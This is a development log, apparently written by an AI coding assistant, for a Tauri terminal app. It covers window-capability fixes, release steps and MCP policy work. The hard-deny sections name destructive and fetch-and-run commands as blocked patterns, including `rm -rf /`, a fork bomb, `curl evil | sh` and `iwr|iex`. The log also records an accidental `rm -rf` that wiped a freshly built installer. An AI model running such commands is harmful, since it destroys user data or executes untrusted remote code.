|
||||
**Architecture artefacts worth remembering:**
|
||||
|
||||
- **`getCurrentWebviewWindow().label`** is sync-available at module-load time (not async!) — captured into module-level `CURRENT_WINDOW_LABEL` and `IS_MAIN_WINDOW` constants. Cleaner than `useEffect`-awaiting it.
|
||||
- **`transferredPaneIdsRef: Map<NodeId, PaneId>`** is a one-shot side channel populated BEFORE `setWorkspaces` during mount, consumed in `registerPaneId`. LeafPane reads it via `orch.getInitialPaneIdFor(leaf.id)` and passes `existingPaneId` to XtermPane to skip spawn. Cleaner than threading the id through LeafNode (which is persisted state).
|
||||
- **`WindowEvent::CloseRequested` closure captures `Arc<WindowsState>` and `Arc<PendingInits>` by move.** `windows_state_for_event.forget(label)` is the cleanup path; `pending_inits_for_event.by_label.lock().remove(&label)` removes any unconsumed init payload (the consumed-then-window-died case).
|
||||
|
||||
**Phase 2 verification needed** (user, on Windows host):
|
||||
1. `cd D:\dev\tiletopia\src-tauri && cargo check` — the Rust changes have to compile. **Note: `Cargo.toml` lives in `src-tauri/`, NOT the project root** (Tauri layout). I got this wrong in the original verification steps; user had to point it out. Added a preflight-checks rule to global `~/claude/CLAUDE.md`. Watch in the check output for: tauri 2 `WebviewWindowBuilder::new` signature, `on_window_event` handler closure types, my `Arc<Self>` method receiver style on WindowsState.
|
||||
|
||||
**Uncommitted local fix (as of 2026-05-28 wrap-up):**
|
||||
|
||||
`src-tauri/src/lib.rs` has an added `use tauri::Manager;` import — needed because `Window::app_handle()` is a trait method (Manager trait) used in the new `on_window_event` handler. Same pattern as the `Emitter` trait stumble in v0.3.0. Cargo check went clean after this. **Not committed yet** — user wanted to smoke-test the feature first, then found the bug list below. Commit this fix at the same time as the bug-fix commit.
|
||||
|
||||
**Detached-window bug list (deferred — user will resume):**
|
||||
|
||||
Smoke test on Windows revealed bugs specific to detached (non-main) windows. Main window is unaffected.
|
||||
|
||||
- **B1** — Drag-out has no ghost image during drag (cosmetic, user OK with deferring).
|
||||
- **B2** — Detached window: transferred pane is blank, "idle" within 5s. No input, no output.
|
||||
- **B3** — Detached window: shell-picker swap (Ubuntu → PowerShell → Ubuntu) doesn't spawn a working terminal. Fresh `spawn_pane` call from the detached window — toolbar updates but no PTY output.
|
||||
- **B4** — Detached window: new tab (Ctrl+T or + button) creates the tab but no terminal. Same blank/idle symptom.
|
||||
- **B5** — Right-click "Move to new window" produces the same broken detached window as drag-out. Confirms the bug is detached-window-scoped, not gesture-scoped.
|
||||
- **B6** (control) — Main window: new tab, new pane, normal ops all work.
|
||||
|
||||
**Strongest single hypothesis** for B2–B5: **Tauri 2's capability system gates `invoke` and `listen` per window-label.** Default capability config in `src-tauri/capabilities/default.json` (or similar) usually scopes to `"windows": ["main"]`. Newly-built `pane-window-*` labels match nothing → all IPC and events silently fail. One config fix (add wildcard window pattern, or programmatically attach a capability to each new window before `.build()`) would explain ALL of B2-B5 in one go.
|
||||
|
||||
**Where to look first when resuming:**
|
||||
1. `src-tauri/capabilities/*.json` — read the existing capability config to confirm scoping.
|
||||
2. Try `"windows": ["main", "pane-window-*"]` (Tauri 2 supports glob patterns in capability window targets).
|
||||
3. If that doesn't work: `AppHandle::add_capability(...)` on the new window before `.build()` in `commands.rs::create_pane_window`.
|
||||
4. Verify by re-testing B4 first (simplest: fresh new tab in a detached window — needs only `invoke("spawn_pane")` and `listen("pane://...")` to work).
|
||||
|
||||
**RESOLVED 2026-05-28 (resume session) — two root causes, both fixed:**
|
||||
|
||||
- **B2–B5 (blank/dead detached windows) = the capability hypothesis, confirmed.** `src-tauri/capabilities/default.json` had `"windows": ["main"]`; detached labels are `pane-window-<micros>` (commands.rs:122) → matched nothing → every `invoke`/`listen` silently denied. Fix: `"windows": ["main", "pane-window-*"]`. Tauri 2 glob pattern works; one line cleared all four. (App-defined commands aren't individually permission-gated — they're available to any window the capability is *applied* to, i.e. listed in `windows`.)
|
||||
- **Session-loss-on-adopt (surfaced after B2–B5 cleared) = destructive read × StrictMode.** Once IPC worked, drag-out still spawned a FRESH pty (new id, tab named "Default", status `alive` not `adopted`) instead of adopting. Cause: `take_pending_window_init` is a **destructive** backend read (`by_label.remove`); React StrictMode runs the mount effect twice in dev — pass 1 consumed the payload then bailed on the `cancelled` flag, pass 2 got `null` → fell back to `singletonEnvelope` (fresh "Default" + fresh spawn). The `cancelled`-flag pattern guards against *using* stale async results but cannot un-consume a destructive backend call. Fix: module-level memoized `consumePendingWindowInit()` in App.tsx so the take fires **exactly once per window** and both StrictMode passes share the payload. Dev-only symptom (prod StrictMode doesn't double-invoke effects) but fixed for robustness. **Lesson: any destructive/once-only backend read called from a mount effect must be memoized at module scope, not just guarded by `cancelled`.**
|
||||
- **Verified:** user confirmed adopt works (scrollback intact, same pane id, live input). `tsc -b` clean.
|
||||
- Committed (`bea6cf2`) together with the carried-over `use tauri::Manager;` lib.rs import.
|
||||
|
||||
**Follow-on fixes same session (commit after `bea6cf2`):**
|
||||
|
||||
- **B1 drag ghost (done).** Cursor-following chip via `createPortal` in LeafPane, `pointer-events:none` so it doesn't disturb the `elementFromPoint` drop-target hit-test. Turns orange "↗ New window" past the 60px edge margin. A webview **can't paint outside its own OS window**, so the chip is clamped to the viewport edge and flips to the cursor's inner side near right/bottom rather than vanishing — that's the best achievable; a ghost floating over the desktop is impossible. Hoisted `PANE_DRAG_OUT_MARGIN` + `isFarOutsideViewport()` to module scope so move-handler (preview) and up-handler (release) can't drift.
|
||||
- **Drag-out "PTY not ready" (mitigated).** `moveToNewWindow` now `await waitForPaneRegistration(leafId, 5000)` instead of failing instantly when the id isn't registered yet — covers the race where a just-spawned/just-adopted pane is dragged before its async spawn round-trip registers. Resolves instantly if already registered.
|
||||
- **Tab accumulation (root-caused + fixed).** The cross-window save aggregator (`window_state.rs::build_envelope`) concatenated EVERY window's workspaces into the saved file; on launch main loaded the whole blob and adopted it as its own tabs, then re-saved under "main" → unbounded growth (hit 14 tabs incl. `Pane 28`/`Pane 38` drag-out artifacts + piles of `Default` from pre-fix detached boots). Fix: `build_envelope` persists **only `MAIN_WINDOW_LABEL`'s** workspaces — detached windows are ephemeral by design (discarded on close), so they're now structurally unable to pollute the file. **Reset the corrupted `workspace.json`** (backed up to `workspace.json.corrupt-backup` in app config dir, then deleted; main reboots a clean single Default). Detached windows still `push_window_workspaces` (harmless; backend just ignores non-main for persistence).
|
||||
- **Can't close tabs (fixed).** Tab strip is `overflow-x:auto`, which per spec coerces `overflow-y` to auto too → the in-strip absolutely-positioned close-confirm popover got clipped once enough tabs forced horizontal scroll. Fix: `createPortal` the confirm to `<body>`, `position:fixed`, fixed `width:300px` (matches `CONFIRM_POPOVER_WIDTH` const in TabStrip.tsx), right-aligned to the × button then **clamped into the viewport** so a left-side tab doesn't run off the left edge.
|
||||
- **Native scrollbars (fixed).** `::-webkit-scrollbar` theming was scoped to `.xterm-viewport` only; made it global (`*::-webkit-scrollbar` + `* { scrollbar-width/color }`) so the tab strip / panels / menus match the dark theme.
|
||||
- **Capability fix recap:** `default.json` `"windows": ["main", "pane-window-*"]` — the load-bearing fix for the whole detached-window feature (B2–B5). Confirmed: app-defined Tauri commands aren't individually permission-gated; they're available to any window the capability is *applied* to (listed in `windows`).
|
||||
|
||||
**Pre-release audit (2026-05-28, 3-agent fan-out) — findings + dispositions:**
|
||||
|
||||
- **(FIXED, medium) XtermPane IPC listener leak on unmount-during-await.** After `unlistenData = await onPaneData(...)` / `unlistenExit = await onPaneExit(...)` there was no `destroyed` re-check, so if the pane unmounted during the await (StrictMode, fast moveToNewWindow/closeTab) the sync cleanup had already captured a null unlisten and the `pane://{id}/data`/exit subscription leaked. Added `if (destroyed) { unlistenData?.(); unlistenExit?.(); return; }` after each assignment in both adopt and spawn paths.
|
||||
- **(DEFERRED, high — known low-risk) Transferred-PTY/refcount leak if a detached window closes mid-adopt.** `mark_pane_transferring` bumps a refcount that suppresses `kill`; only `claim_pane` (from the target XtermPane mount) drops it. The `CloseRequested` handler (lib.rs:74) forgets workspaces + pending-init but never releases the refcount or kills the pane → if the window closes before adopt's `claim_pane`, that PTY + reader thread leak for the app lifetime. **In practice very low-probability**: adopt of a transferred pane is near-instant (paneId known synchronously, no spawn wait), so `claim` runs within ms of mount — by the time a user sees and closes the window, it's already claimed. User chose ship-now. **Proper fix when revisited:** keep a `label→paneId` "adopting" registry (set when `take_pending_window_init` consumes the payload, cleared by `claim_pane`), and have the close handler force-kill (drop refcount + kill) any still-unclaimed paneId for the closing label. The unconsumed-pending-init subset can be handled more cheaply (close handler already has the PendingInit.pane_id when the entry is still present).
|
||||
- **(NOT FIXING, low) waitForPaneRegistration doesn't settle on early unmount** — `registerPaneId(leafId, null)` doesn't reject a pending waiter, so moveToNewWindow/MCP-spawn stalls until the timeout instead of failing fast. Functionally safe (timeout fires).
|
||||
- tabs/LeafPane/TabStrip reviewer: no findings.
|
||||
|
||||
2. `pnpm tauri dev` — smoke test:
|
||||
- Existing workspace loads as one tab named "Default" ✓ migrate
|
||||
- Ctrl+T spawns new tab with default-shell pane
|
||||
- Switch tabs while a `sleep 60` is running in another tab — countdown continues
|
||||
- Right-click any pane → "Move to new window" → new window appears with the pane, PTY content visible (ring replay)
|
||||
- Resize new window → `tput cols` in the moved pane shows new dims
|
||||
- Close new window → reopen the app → those tabs should NOT come back (the close-discards-tabs Chrome behavior)
|
||||
- With MCP running, `list_panes` from Claude only sees main's current tab
|
||||
|
||||
**Known follow-ups specific to this session** (none ship-blocking; all v0.4.0+ territory):
|
||||
|
||||
- **Per-tab MCP visibility.** Today Claude only sees main's current tab; switching tabs in main changes Claude's view mid-conversation. Could expose `list_workspaces()` + `switch_workspace(id)` MCP tools. Defer until requested.
|
||||
- **Window position persistence across restart.** User chose "tabs persist, not windows" in the design Q&A so this is by design, but if a power user ever wants restored window geometry, the `WindowsState` map already has the structure to track it; just add inner_size/outer_position to the per-window entry.
|
||||
- **Drag-out across monitors with mismatched DPI.** Tauri 2's `outerPosition()` is physical px while `clientX/Y` is CSS px. My implementation only uses clientX/Y (no async query at drag start), so multi-monitor drag works as long as the user releases far enough from the source window's edge. New window appears at the OS default position; user manually drags it to the target monitor. Acceptable v1.
|
||||
- **Drag a pane INTO an existing other window.** Only NEW-window drag in v1. Adding "drag to existing window" needs cross-window pointer-event coordination (Tauri 2 doesn't expose this). Defer.
|
||||
- **Reattach window to an existing window** (user request 2026-05-28). The inverse of drag-out: take a detached window's pane(s) and merge them back into another open window as new tab(s) or splits, then close the now-empty source window. Same hard problem as the pane-into-window item above — Tauri 2 doesn't expose cross-window pointer drag, so this likely needs a non-drag affordance instead: e.g. a "Send to window ▸ <pick target>" entry in the pane toolbar right-click menu (reuses the existing PTY-transfer path — `mark_pane_transferring` → target adopts via `existingPaneId`/`claim_pane` — just targeting an existing window's label instead of `create_pane_window`). Needs a live window/label registry the menu can list. Defer.
|
||||
- **CLAUDE.md still says Svelte 5** (called out in 5+ session logs now). Bump it next time someone touches the file.
|
||||
|
||||
### 2026-05-26 — **v0.3.0 shipped to Forgejo releases**
|
||||
|
||||
Cut after a marathon session that took MCP from read-only v1 → full write surface + policy engine + audit + safeguards + .mcpb bundle. Tag `v0.3.0`, both `tiletopia_0.3.0_x64-setup.exe` and `tiletopia.mcpb` attached.
|
||||
|
||||
**Release-time hiccups** (all fixed in subsequent commits — read these before the next release):
|
||||
|
||||
- `pnpm tauri build` failed type-check on a `a.spec!.hostId` non-null assertion that drops the `kind === "ssh"` narrowing inside a `hosts.find` closure. `pnpm check` ran `tsc --noEmit` which had been silently missing the bug; `tsc -b` (what `pnpm build` uses) caught it. Fixed the line + switched the check script to `tsc -b` (both project-reference tsconfigs already have `noEmit: true`, so no emission). Commits `e1ceaab`, `7e285b2`.
|
||||
- After the Windows build I ran `rm -rf src-tauri/target` from WSL to clear tsc cache — wiped the cargo target dir *including the freshly-built installer*. /mnt/d/ is the real Windows filesystem. Lesson: `src-tauri/target/` is cargo's output dir, NOT just tsc cache; do not touch without rebuild plan. The user rebuilt; cost a single `pnpm tauri build` cycle.
|
||||
- `pnpm run build:mcpb` from `release.sh` hung indefinitely when run from WSL — pnpm auto-runs `pnpm install` first, which walks `node_modules` across the /mnt/d/ filesystem boundary and stalls for minutes. The bundle script is pure Node + fs, no deps to install. Switched release.sh to call `node scripts/build-mcpb.mjs` directly. Commit `1db8b26`.
|
||||
- `Cargo.lock` needed committing separately after the version bump (cargo updated it during `pnpm tauri build`). Worth doing the version bump + `cargo check` together next time so the lock-file change is atomic with the version commit.
|
||||
|
||||
**For the next release:**
|
||||
1. Bump version in `package.json` + `src-tauri/Cargo.toml` + `src-tauri/tauri.conf.json`
|
||||
2. Run `cargo check` (or any cargo command) to update `Cargo.lock`
|
||||
3. Commit all four files + push
|
||||
4. `pnpm tauri build` on Windows
|
||||
5. `./scripts/release.sh vX.Y.Z` from WSL
|
||||
6. Edit the auto-generated release note on Forgejo with a proper changelog
|
||||
|
||||
### 2026-05-26 — Clear cargo warnings: drop v2.1 classifier scaffold, annotate rmcp tool_router
|
||||
|
||||
Four pre-existing dead-code warnings out of every cargo build. Three were the v2.1 classifier scaffold sitting unused in `mcp_policy.rs` (`ClassifierHint` enum, `PolicyClassifier` trait, `NoopClassifier` struct + impl). Deleted — the scaffold being unused for weeks was a stronger "no plan" signal than its presence was a "TODO" signal. If we actually want classifier upgrade-on-Ask later (v0.4.0 candidate), trivial to re-add; the design questions (Anthropic vs Ollama, API key UX, monthly cost cap, privacy disclosure) need a focused session.
|
||||
|
||||
Fourth warning was rmcp's `#[tool_router]` macro generating internal references to a `tool_router: ToolRouter<Self>` field on `TileService` that rustc's dead-code pass can't see through. Added `#[allow(dead_code)]` to the field with a comment explaining why.
|
||||
|
||||
`cargo build` is now clean (modulo any new bugs).
|
||||
|
||||
Open follow-up: v0.4.0 classifier ([[v2.1-classifier]]). Design notes for that session — pick Haiku 4.5 via Anthropic API as default; API key in Windows Credential Manager (matches SSH password storage, doesn't sync); 60s cache by `(tool, args_repr)`; classifier can only upgrade Ask → Allow, never downgrade.
|
||||
|
||||
### 2026-05-26 — Backed out idle "claude foreground" filter (kept legacy 5s notify)
|
||||
|
||||
Shipped earlier today as per-distro, pivoted to per-pane via `TILETOPIA_PANE_ID` env marker, then a probe-script bug surfaced (positional args dropped by `wsl.exe -- bash -c "..." _ <id>`). Fixed the arg-passing by inlining values, but on real-app test the pane still showed idle while claude was running — and at that point the user (rightly) called credit waste and asked to back the whole feature out.
|
||||
|
||||
**Reverted commits** (in one combined revert):
|
||||
- `9931a92` — inline pane_id / watch list into script (drop positional args)
|
||||
- `6772b8d` — pivot per-distro → per-pane via TILETOPIA_PANE_ID env marker
|
||||
- `f51033a` — original per-distro idle filter
|
||||
|
||||
Now back to "every pane goes idle after 5s of silence" — the behaviour that worked before today's fan-out attempt. The `[[user-watch-list]]` marker in the open-questions section is removed; the original idle-filter TODO is restored.
|
||||
|
||||
**Lessons for if/when we attempt this again:**
|
||||
|
||||
- The per-distro design fundamentally doesn't fit tiletopia (CLAUDE.md: "manage multiple claude sessions across projects in parallel"). Don't ship per-distro again.
|
||||
- Per-pane via env-var marker is the right shape, BUT the probe still didn't work end-to-end in the real app even after the inline-args fix. The `pgrep` exit + `/proc/<pid>/environ` reads worked in isolation (verified manually from PowerShell) — something about how tiletopia's `wsl.exe` spawn differs from a manual invocation. Could be: stdin handling, working directory, environment context. Worth a from-scratch design rather than another fix-on-fix iteration.
|
||||
- If we retry, prove the probe end-to-end against the running app FIRST (e.g. add a temporary "Test probe" button in the MCP panel that calls the Tauri command and shows the result) before wiring it into the idle effect. Validates the whole IPC path without the timing complications of the idle tick.
|
||||
|
||||
Restored the original idle-filter open question in the TODO section.
|
||||
|
||||
### 2026-05-26 — README shortcut table now generated from `shortcuts.ts`
|
||||
|
||||
The keyboard-shortcut table in README and the in-app help overlay used to be hand-mirrored copies maintained by "keep in sync" comments. They drifted (most recently the navigation/font-size entries diverged). Now `src/lib/shortcuts.ts` is the single source of truth and README's section is generated from it.
|
||||
|
||||
**Marker shape:** plain HTML comments — `<!-- SHORTCUTS:START -->` and `<!-- SHORTCUTS:END -->`. Markdown viewers render them as nothing (zero visual noise); the generator finds them by literal string match. They live under the new `### Shortcuts and tips` heading in `Using it`, with explanatory prose + a footer pointer below for readers who reach for the file.
|
||||
|
||||
**Script:** `scripts/gen-readme-shortcuts.mjs`. Sibling to `pr4-verify.mjs` / `release.sh` / `make-icon.py`. Plain Node + `fs` only — no tsx/esbuild dep. Trick: shortcuts.ts is pure data (no React, no value imports), so the script reads it as text, strips `export interface { ... }` blocks with a brace-walker, drops the `: SomeType[]` annotations on the `export const` declarations, writes the result to a temp `.mjs` file in `os.tmpdir()`, and dynamic-imports it. Cleaner than a regex parser of the array literal because any future shape change in shortcuts.ts (adding a new field, reshuffling sections) Just Works.
|
||||
|
||||
**Render style:** mirrors the existing README table — `| Key | Action |` two-column, keys backticked. The TS data is grouped by section, so each section gets a `**Title**` subheading + its own table. TIPS render as a `**Title** — body` bulleted list. Pipes in cell text are escaped to `\|`; newlines collapse to spaces.
|
||||
|
||||
**Pnpm script:** `pnpm gen:readme`. Also supports `--check` mode (`node scripts/gen-readme-shortcuts.mjs --check`) which exits 1 if the README would change — wire it into CI later if drift starts mattering again.
|
||||
|
||||
**To add or change a shortcut/tip:** edit `src/lib/shortcuts.ts`, run `pnpm gen:readme`. The help overlay updates automatically (it already imports from there); the README marker block updates from the same source. Don't hand-edit anything between the marker comments — your changes will be wiped on the next regen.
|
||||
|
||||
**Verified:** ran twice, second run reports "already up to date" with empty `git diff`. `pnpm check` clean (tsc --noEmit, exit 0).
|
||||
|
||||
### 2026-05-26 — `.mcpb` Claude Desktop bundle (zero-config token handling)
|
||||
|
||||
Long-standing follow-up shipped. Build script + tiny Node wrapper produce `dist-mcpb/tiletopia.mcpb` — a one-click Claude Desktop install replacing the hand-paste of `.mcp.json`.
|
||||
|
||||
**Key design choice — per-install token handling.** The `.mcpb` spec offers two ways to handle credentials: `user_config` prompts at install time (copy-paste), or bake them in (wrong). Both lose: copy-paste defeats the whole point of one-click, and token rotation (the Regenerate button) would silently invalidate any saved `user_config` value. Picked a **third option not in the spec docs**: bundle a tiny Node wrapper as `entry_point` that reads `%APPDATA%\com.megaproxy.tiletopia\mcp.json` at launch and execs `npx -y mcp-remote ...` with the live token. Zero secrets in the bundle → safe to publish on the releases page; works for any tiletopia install; transparently picks up the new token after Regenerate without the user re-doing anything.
|
||||
|
||||
**Bundle shape (`scripts/build-mcpb.mjs`):**
|
||||
- `manifest.json` — `type: "node"`, `entry_point: "server/index.mjs"`, `mcp_config: { command: "node", args: ["${__dirname}/server/index.mjs"] }`, version mirrors `package.json`, icon points at the 128×128 brand PNG.
|
||||
- `server/index.mjs` — the wrapper. Reads `mcp.json`, validates port + token, spawns `npx -y mcp-remote http://127.0.0.1:<port>/mcp --allow-http --header "Authorization: Bearer <token>"` with `stdio: "inherit"`, forwards SIGINT/SIGTERM/SIGHUP to clean up the child on extension disable.
|
||||
- `icon.png` — copy of `src-tauri/icons/128x128.png`.
|
||||
|
||||
**Build path.** `pnpm run build:mcpb` → `dist-mcpb/tiletopia.mcpb` (gitignored). Pure-Node store-only ZIP writer (~70 lines, no `archiver`/`jszip` devDep). Validated end-to-end with Python `zipfile`: 3 entries, valid CRCs, manifest parses. ~9 KB output.
|
||||
|
||||
**Distribution.** The script is committed; the artifact isn't (regenerable). The intent is to attach `tiletopia.mcpb` to each Forgejo release alongside the NSIS installer — `scripts/release.sh` doesn't do this yet (follow-up). The new "Download .mcpb" button in `McpPanel` opens the releases page; once the artifact is up there, users grab it from there.
|
||||
|
||||
**UI changes.**
|
||||
- `McpPanel.tsx`: new "Claude Desktop (one-click install)" field above the .mcp.json snippet with a "Download .mcpb" button (opens the releases URL via `plugin-opener`) and a brief hint explaining zero-config token handling + the regen script. Styled in `McpPanel.css` (`.mcp-mcpb-row`, `.mcp-mcpb-btn`, `.mcp-mcpb-hint`).
|
||||
- `McpPanel.css`: also added an explicit `.mcp-hint` style that was previously inheriting (used by both the token hint and the .mcpb hint).
|
||||
- `shortcuts.ts`: MCP tip now leads with the `.mcpb` install path; the mcp-remote shim is described as the fallback for Claude Code (the terminal CLI, which doesn't accept `.mcpb` yet).
|
||||
- `README.md`: same restructure under the MCP section — Claude Desktop install via `.mcpb` first, Claude Code via mcp-remote second.
|
||||
|
||||
**Why no in-app file save dialog?** I considered bundling the `.mcpb` inside the Tauri NSIS as a Rust resource + exposing a `download_mcpb` Tauri command that opens a save dialog. Would let the panel button work fully in-app. Rejected because (a) it'd require Rust changes which I can't compile-check in WSL, (b) it duplicates what releases do for free, and (c) "Download .mcpb" landing on the releases page is the more discoverable distribution flow long-term.
|
||||
|
||||
**Confirmed: bundle contains zero secrets.** Scanned both `manifest.json` and `server/index.mjs` for `Bearer ey`, `token=`, `secret`, `password`, `api_key` — all clean. The wrapper reads the token from `%APPDATA%` at runtime on the *user's* machine; nothing is ever baked in.
|
||||
|
||||
**`pnpm check` clean, vitest 72/72 passing.**
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **Wire `.mcpb` into the release.** `scripts/release.sh` currently uploads only the NSIS installer; it should also run `node scripts/build-mcpb.mjs` and attach the resulting `dist-mcpb/tiletopia.mcpb` to the Forgejo release. Two lines + one `tea releases create --asset` flag. Until that's done, the "Download .mcpb" button lands on a releases page where the asset doesn't exist yet for old tags.
|
||||
- **Direct in-app save flow.** If we ever want fully-offline install (no roundtrip through the web), add a Rust-side `download_mcpb` command that returns the bundled bytes + use `@tauri-apps/plugin-dialog` save() in the panel. Not blocking — current flow is sufficient and matches how Tauri apps usually distribute extension files.
|
||||
- **Pre-flight on the wrapper.** Could detect missing `npx` / Node 18+ and emit a more directed message. Currently we just let `spawn` fail with whatever Node says. The "make sure Node 18+ is installed and `npx` is on PATH" line in the error path is the band-aid.
|
||||
- **`.mcpb` for Claude Code (CLI).** Claude Code doesn't accept `.mcpb` bundles yet — Anthropic may add it. When they do, the same bundle should Just Work since the wrapper is platform-agnostic re: which Claude is calling it.
|
||||
- **Bundle compatibility field.** Manifest declares `platforms: ["win32"]` and `runtimes: { node: ">=18.0.0" }`. The wrapper has a hard `%APPDATA%` requirement so this is correct, but if anyone ever wants macOS / Linux tiletopia support, the wrapper needs a portable config-path lookup.
|
||||
|
||||
### 2026-05-26 — Hard-deny: PowerShell patterns + label list de-duplicated
|
||||
|
||||
Mirrors the POSIX hard-deny rules with their Windows/PowerShell equivalents. Four new patterns:
|
||||
|
||||
1. **`Remove-Item` / `del` / `rd` / `ri` / `rm` / `erase` / `rmdir` targeting `C:\` / `~` / `$HOME` / `$env:USERPROFILE` / `$env:APPDATA`.** Covers the canonical `Remove-Item -Recurse -Force C:\` along with bare `del C:\` and `rd /S /Q ~`. PS aliases vary per environment so the alternation is wide.
|
||||
2. **`Format-Volume` / `Clear-Disk` with any flag.** Bare cmdlet mentions (e.g. `Get-Help Format-Volume`) are fine; presence of `-DriveLetter` / `-Number` / similar means an actual invocation.
|
||||
3. **`iwr|iex` pipe form** — `Invoke-WebRequest`/`Invoke-RestMethod`/`iwr`/`irm`/`curl.exe` piped into `Invoke-Expression`/`iex`. The PS web-to-execute primitive. (`curl` in PS land is an alias for `Invoke-WebRequest` which doesn't pipe-string into anything bash-like; the actual `curl.exe` binary does, hence the literal `curl\.exe`.)
|
||||
4. **`iex (irm ...)` parenthesized form.** More common than the pipe form in real install one-liners.
|
||||
|
||||
**Universal application — no shell-aware policy scoping yet.** PS cmdlet names (`Remove-Item`, `Format-Volume`, `iwr`, `iex`) are distinctive enough that a bash session triggering one is virtually impossible. The "scope rules by `shellKind` of the target pane" work is a known follow-up but doesn't block this.
|
||||
|
||||
**Label list de-duplicated.** `PolicyTab.tsx` previously hardcoded the 10 POSIX labels. Adding PS rules would have forced updating both sides — and the comment in the new `mcp_hard_deny_labels` Tauri command notes it had already drifted from the backend twice this week. Now: backend is the SoT, frontend calls `mcpHardDenyLabels()` at panel mount. "Always blocked" section now renders all 14 labels live from the backend.
|
||||
|
||||
**Tests:** 20 new fuzz cases (Rule 11–14), 3-5 positive + 1-2 negative each. `hard_deny_rules_count` bumped from 10 → 14. **138 passed; 0 failed** on Windows.
|
||||
|
||||
**Notes for next time someone adds a hard-deny pattern:**
|
||||
|
||||
- Update only `HARD_DENY_PATTERNS` and `hard_deny_rules_count`. The UI list auto-syncs via the Tauri command. README's mention of "10 patterns" is now also drift-prone but lower-stakes.
|
||||
- PowerShell cmdlets are identified with `-` in the middle (`Remove-Item`). `\bRemove-Item\b` works because the `\b` anchors are between word and non-word chars (R/string-start, m/non-word-after) — the `-` in the middle is fine.
|
||||
- Common PS quoting forms not yet caught (filed as follow-up if it bites): single-quoted paths (`Remove-Item -Recurse -Force 'C:\'`) and trailing flags after the path (`Remove-Item -Recurse -Force C:\ -Confirm:$false`). The regex anchor requires path → whitespace → end/operator/comment; flag-after-path doesn't fit. Common attacker copy-paste forms put the path last, so this is real-world-fine.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **Shell-aware policy scoping.** Today PS rules apply universally (low false-positive risk but architecturally fuzzy). Per-leaf-shellKind discrimination would let users `Allow write_pane(*) on bash` while still gating PS. Memory'd long-standing follow-up.
|
||||
- **README drift.** README's "10 hard-deny patterns" mention is stale. Either remove the count or rewrite to enumerate via a build-time script. Low priority.
|
||||
|
||||
### 2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4
|
||||
|
||||
Re-enabling the policy test module in PR-4 (the `policy_with` compile fix) exposed **16 pre-existing test failures**. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on `mcp_policy.rs`.
|
||||
|
||||
**Two-pass `is_hard_denied`.** The subcommand splitter (split on `&& || ; | |& & \n`) was destroying patterns whose *meaning* requires them to span operators — fork bomb (`:|:&`) and curl-piped-to-shell (`curl ... | bash`) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape:
|
||||
|
||||
1. **Whole-input pass first** — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that *needs* its `|`/`&` to match.
|
||||
2. **Per-subcommand pass second** — preserves the original behaviour of catching `safe_cmd && rm -rf /` after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting.
|
||||
|
||||
This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass.
|
||||
|
||||
**Regex fixes:**
|
||||
|
||||
- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?` → `[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`).
|
||||
- **Rule 1/2 trailing anchor:** `($|[;&|])` → `($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed.
|
||||
- **Rule 8 shell alternation:** `(ba?sh|zsh)` → `(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match.
|
||||
- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/` → `\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system").
|
||||
|
||||
**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`. The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of `claude` advice unusable. The tests now document this with a comment.
|
||||
|
||||
**Result: 118 passed; 0 failed.** All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing.
|
||||
|
||||
**Things to verify next time someone touches hard-deny:**
|
||||
|
||||
- If a new rule's pattern is intrinsically multi-operator (think `kill -9 -1`, `dd | gzip > device`), make sure whole-input matching covers it — don't rely on the subcommand pass.
|
||||
- If a new rule's pattern targets a path, anchor with `\s|$|[#;&|]` after the trailing `/` (rule 9 style) to avoid over-matching `/tmp` etc.
|
||||
- Flag character classes for case-insensitive Unix tools: `[a-zA-Z]`, not `[a-z]`.
|
||||
- Trailing-comment anchor: include `#` in the post-pattern character class.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **Multi-pipe-to-shell** like `curl url | grep -v foo | bash` is still not caught — `[^|]*\|` only spans one pipe. Probably fine for v2; if it bites, broaden to `[^|]*(\|[^|]*)*\|\s*...` or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream".
|
||||
- **PowerShell hard-deny patterns** (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only.
|
||||
- **Audit-log persistence** (carried over).
|
||||
|
||||
### 2026-05-26 — MCP v2 PR-4: `add_host` + `delete_host` + extraArgs sanitiser + third SSH safeguard
|
||||
|
||||
Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the **extraArgs sanitiser** and the **third SSH-safeguard switch**.
|
||||
|
||||
**Sanitiser (`hosts::sanitize_extra_args`).** Rejects four `-o KEY=...` keys that are local-RCE primitives at ssh-invocation time, before the connection is even attempted:
|
||||
|
||||
